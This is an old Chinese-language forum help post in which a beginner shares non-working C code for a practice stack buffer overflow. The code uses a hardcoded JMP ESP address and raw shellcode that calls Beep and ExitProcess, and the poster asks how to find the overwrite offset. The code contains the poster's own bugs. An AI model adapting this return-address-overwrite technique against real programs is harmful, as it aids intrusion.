-
-
[旧帖]
[求助]有沒有大大回答我??
0.00雪花
-
发表于:
2010-3-28 12:31
5239
-
[旧帖] [求助]有沒有大大回答我??
0.00雪花
#include <stdio.h>
#include <string.h>
char* JMPESP="\x80\xE4\x92\x7C"; // 不明白這個地址是如何找出來的 我總是不能成功
const char shellcode[]="\x33\xC0\xB8\x8F\x7A\x83\x7C\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xFA\xCA\x81\x7C\xFF\xD0\
"; // Beep and Exitprocess
int overflow(char * buf){
char input[20];
//不知道如何overwrite這個buffer?? 是+20 +24還是怎樣??
strcpy(input+20,JMPESP);
strcpy(input+24,shellcode);
printf("input is: %s \n", input);
getchar();
return 0;
}
int main(int argv , char* argc){
char buf[100];
int i;
printf("here\n");
for( i=0; i<100 ; i++)
strcpy(buf[i], "A");
overflow(buf);
printf("main is: %s \n");
return 0;
}
這個overflow我試了很多次都摸不著如何攻擊
我試了用ollydbg找 overflow return address用kernel32.dll的jmp esp
這樣
strcpy(buffer+20 , jmpesp)
strcpy(buffer+24 , shellcode)
都不能攻擊成功@@
strcpy(buffer+16 , jmpesp)
strcpy(buffer+20, shellcode)
也不可以
菜鳥不太懂找溢出点 有沒有大大可以指點指點!!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课